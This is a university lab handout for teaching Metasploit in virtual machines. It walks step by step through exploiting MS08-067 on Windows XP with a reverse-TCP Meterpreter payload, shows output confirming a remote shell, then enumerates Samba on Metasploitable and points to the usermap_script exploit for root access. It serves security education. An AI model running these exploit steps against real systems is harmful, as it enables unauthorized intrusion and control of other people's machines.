Metasploit Lab: Attacking Windows XP and Linux Targets

Copyright © 2012 Michael McGinty and Xinwen Fu, University of Massachusetts Lowell
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.

1 Lab Overview

This lab will introduce students to a popular exploitation framework, Metasploit, and its usage within a virtualized environment. Students are assumed to be comfortable using a command line interface.

Students will attack two targets:

- The first, an unpatched Windows XP SP3 virtual machine, must be acquired by the student. It’s worth noting that Windows XP can be used for 30 days after installation without being registered, so a license key is not necessarily needed. A full set of instruction

- The second will be a Linux virtual machine, in this case Metasploitable.

For the attacking machine, students should use the modified version of Wenliang Du’s SEEDUbuntu prepared especially for this lab, available at http://ccf.cs.uml.edu/

Before continuing, students should have their virtualization environment prepared, and the Windows XP, SEEDUbuntu and Metasploitable VMs installed and networked properly per the instructions available at http://ccf.cs.uml.edu/

Please note that this lab assumes VMWare Workstation is being used. The principles are the same among other virtualization software, but terminology and features may change. Some alternatives to VMWare Workstation include Virtualbox, VMWare Player, and Microsoft Virtual PC.

2 Task 1

Please follow the instructions below and complete the task. Use screen shots to demonstrate the success with the attack. For each screen shot, students must explain it means.

2.1 Getting Started

Terminal and Root Shells Login to the SEEDUbuntu machine after booting it up (user:pass is seed:dees) and open up a root terminal. Open the terminal shortcut on the desktop and then use the su command.

( The root password is seedubuntu)

seed@seed-desktop:~$ su
Password:
root@seed-desktop:/home/seed#

Root shells are denoted by a hash-mark ("#"), compared to a normal shell ('$'). For the purposes of this lab, we assume all commands are run with root privileges unless specified otherwise.
Networking: Now that we have a root shell, run the `dhclient` command, to get an IP address from the VMWare DHCP server. It should look similar to this:

```
root@seed-desktop:~# dhclient
Internet Systems Consortium DHCP Client V3.1.1
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
```

Listening on LPF/eth6/00:0c:29:78:f4:6a
Sending on LPF/eth6/00:0c:29:78:f4:6a
Sending on Socket/fallback
DHCPREQUEST of 192.168.170.128 on eth6 to 255.255.255.255 port 67
DHCPACK of 192.168.170.128 from 192.168.170.254
bound to 192.168.170.128 -- renewal in 799 seconds.
root@seed-desktop:~#

Notice the network: 192.168.170.0/24 in this case. Our Windows XP and Metasploitable machines should be on the same network. Confirm this with a `ipconfig` on the Windows XP machine, and `ifconfig` on the Metasploitable machine. If they’re not on the same network, adjust their network connections from Network Adapter in Virtual Machine Settings to be both either NAT or Host-only. If any other problems are encountered, please refer to the lab setup instructions available on ccf.cs.uml.edu or contact your instructor.

The network and IP addresses might be different for students, but in our case, the Windows XP VM is at 192.168.170.130, and Metasploitable is at 192.168.170.133. *Don’t forget to disable the Windows Firewall on the Windows XP machine, as per the lab setup instructions.* Confirm your VMs can talk to each other by pinging each in turn like this:

```
seed@seed-desktop:~$ ping 192.168.170.130
PING 192.168.170.130 (192.168.170.130) 56(84) bytes of data.
64 bytes from 192.168.170.130: icmp_seq=1 ttl=64 time=3.02 ms
64 bytes from 192.168.170.130: icmp_seq=2 ttl=64 time=0.163 ms
64 bytes from 192.168.170.130: icmp_seq=3 ttl=64 time=0.474 ms
64 bytes from 192.168.170.130: icmp_seq=4 ttl=64 time=0.198 ms
```

or with a quick nmap scan:

```
root@seed-desktop:/home/seed# nmap 192.168.170.130
```

Starting Nmap 4.76 ( http://nmap.org ) at 2012-09-24 01:22 EDT
Interesting ports on 192.168.170.130:
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:33:83:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.46 seconds
2.2 Using Metasploit

Runtime Options: Metasploit has a variety of interfaces, among them

- a CLI, msfcli;
- a shell, msfconsole;
- and even a GUI, armitage.

All work well, and all can be used for this lab, but instructions will assume msfconsole is being used. Refer to the Metasploit documentation for more info on other interfaces.

Now run msfconsole from a root shell. It may take a while, depending on a number of factors, so be patient. It should look somewhat like this:

```
root@seed-desktop:~# msfconsole
# cowsay++
_________
< metasploit >
-------------
 \  ,___,
 \ (oo)___
 (___) )\ 
 | |--|--| *

= [ metasploit v4.4.0-dev [core:4.4 api:1.0]
 + -- == [ 840 exploits - 471 auxiliary - 142 post
 + -- == [ 250 payloads - 27 encoders - 8 nops

msf >
```

You’re now at the msf shell, ready to run exploits.

Windows and the MS08-067 netapi Vulnerability First, some quick familiarization:

msfconsole allows you to run normal system commands from within the msf shell (try the `w` command, for instance).

- `irb` will provide an interactive ruby shell.
- `set` allows the user to set variables within the framework: We’ll be using this later.
- `unset` does the opposite, naturally. `unset all` will do exactly that, unset all defined variables.
- `help` is the built-in help for the framework’s commands, this will answer most of your questions.

Use the `help` tool to learn about `set`, `sessions`, `use`, `info`, and `back`, as well as any others that catch your eye. When you’re ready, load up the MS08-067 module. Aside: msfconsole *does* support tab-completion.
msf > search ms08-067

Matching Modules

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
</table>
| exploit/windows/smb/ms08_067_netapi | 2008-10-28 | great | Microsoft ...

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Notice the prompt changed to reflect the current module.
Run the info command, and read a little. Then run show options There are a couple parameters we need to set before we can exploit our Windows XP machine at 192.168.170.130: LHOST, PAYLOAD, and the current modules required options, in this case just RHOST:

msf exploit(ms08_067_netapi) > set RHOST 192.168.170.130
RHOST => 192.168.170.130

PAYLOAD allows us to specify what we want to deliver when we instruct the framework to exploit our target. We can use show options to display all possible payloads that we can use (following is part of them):

msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>generic/custom</td>
<td>normal</td>
<td>Custom</td>
<td></td>
</tr>
<tr>
<td>generic/debug_trap</td>
<td>normal</td>
<td>Generic</td>
<td></td>
</tr>
<tr>
<td>generic/shell_bind_tcp</td>
<td>normal</td>
<td>Generic</td>
<td></td>
</tr>
<tr>
<td>generic/shell_reverse_tcp</td>
<td>normal</td>
<td>Generic</td>
<td></td>
</tr>
<tr>
<td>generic/tight_loop</td>
<td>normal</td>
<td>Generic</td>
<td></td>
</tr>
</tbody>
</table>

Do we want to have the target listen and wait for us to connect? To connect back to us? We have a wide variety of options, including the ability to use a payload called Meterpreter that makes post exploitation easy. We’ll be using Meterpreter, and have it connect back to us, so define your variables like so:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Run show options to check if we are all set, it turns out that we still need to set LHOST for payload.

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Payload options (windows/meterpreter/reverse_tcp):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>thread</td>
<td>yes</td>
<td>Exit technique: seh, thread, process, none</td>
</tr>
<tr>
<td>LHOST</td>
<td></td>
<td>yes</td>
<td>The listen address</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The listen port</td>
</tr>
</tbody>
</table>

Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Automatic Targeting</td>
</tr>
</tbody>
</table>

msf exploit(ms08_067_netapi) > set LHOST 192.168.170.128
LHOST => 192.168.170.128

Check if it all goes well, then exploit the target.

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.170.128:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.170.130
[*] Meterpreter session 1 opened (192.168.170.128:4444 -> 192.168.170 ... 

meterpreter >

So we have a meterpreter shell on the remote host, meaning we’ve successfully exploited Windows XP, and can do any evil things we want. help will give context sensitive help for meterpreter commands, make sure to take a look. There’re plenty of tools and scripts that make post exploitation tasks very easy and fast. For those more familiar with the Windows command line, see the shell command:

meterpreter > shell
Process 1048 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
Thus concludes our attack on Windows XP.

3 Task 2

Please follow the following instructions and complete the task. Use screen shots to demonstrate the success with the attack. For each screen shot, students must explain it means. In this task, students have to figure out some Metasploit commands on their own to complete the task.

For the Metasploitable section, make sure the two machines are networked together properly, and that they can talk to each other. Once that’s done, fire up msfconsole again, and run a network scan of your choice.

Note the Samba 3.x service running. We’ll look for an exploit that might work, but first, what version of Samba is running?

root@seed-desktop:~ # smbclient -L 192.168.170.133 -N
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

<table>
<thead>
<tr>
<th>Sharename</th>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>print$</td>
<td>Disk</td>
<td>Printer Drivers</td>
</tr>
<tr>
<td>tmp</td>
<td>Disk</td>
<td>oh noes!</td>
</tr>
<tr>
<td>opt</td>
<td>Disk</td>
<td></td>
</tr>
<tr>
<td>IPC$</td>
<td>IPC</td>
<td>IPC Service (metasploitable server (Samba 3.0.20-Debian))</td>
</tr>
<tr>
<td>ADMIN$</td>
<td>IPC</td>
<td>IPC Service (metasploitable server (Samba 3.0.20-Debian))</td>
</tr>
</tbody>
</table>

Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

Server Comment
----------- -------
METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)

Workgroup Master
------------ -------
WORKGROUP METASPLOITABLE

root@seed-desktop:~ #

This gave us a lot of information, as well as the version, 3.0.20-Debian. Let’s find an exploit...

msf > search type:exploit port:139
<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>exploit/freebsd/samba/trans2open</td>
<td>2003-04-07</td>
<td>great</td>
<td>Samba trans2open Overflow</td>
</tr>
<tr>
<td>exploit/linux/samba/chain_reply</td>
<td>2010-06-16</td>
<td>good</td>
<td>Samba chain_reply Memory</td>
</tr>
<tr>
<td>exploit/linux/samba/trans2open</td>
<td>2003-04-07</td>
<td>great</td>
<td>Samba trans2open Overflow</td>
</tr>
<tr>
<td>exploit/multi/samba/nttrans</td>
<td>2003-04-07</td>
<td>average</td>
<td>Samba 2.2.2 – 2.2.6</td>
</tr>
<tr>
<td>exploit/multi/samba/usermap_script</td>
<td>2007-05-14</td>
<td>excellent</td>
<td>Samba &quot;username map script&quot; configuration option.</td>
</tr>
<tr>
<td>exploit/osx/samba/trans2open</td>
<td>2003-04-07</td>
<td>great</td>
<td>Samba trans2open Overflow</td>
</tr>
<tr>
<td>exploit/solaris/samba/trans2open</td>
<td>2003-04-07</td>
<td>great</td>
<td>Samba trans2open Overflow</td>
</tr>
<tr>
<td>exploit/windows/ids/snort_dce_rpc</td>
<td>2007-02-19</td>
<td>good</td>
<td>Snort 2 DCE/RPC preprocessor</td>
</tr>
</tbody>
</table>

msf >

The “info” command on exploit/multi/samba/usermap_script indicates

This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option.

This tells us that it’s vulnerable, or at least likely to be.

**Lab requirements:**

- Give a brief introduction to what is Samba?
- Please list the commands that will give a root shell with the attack against Samba.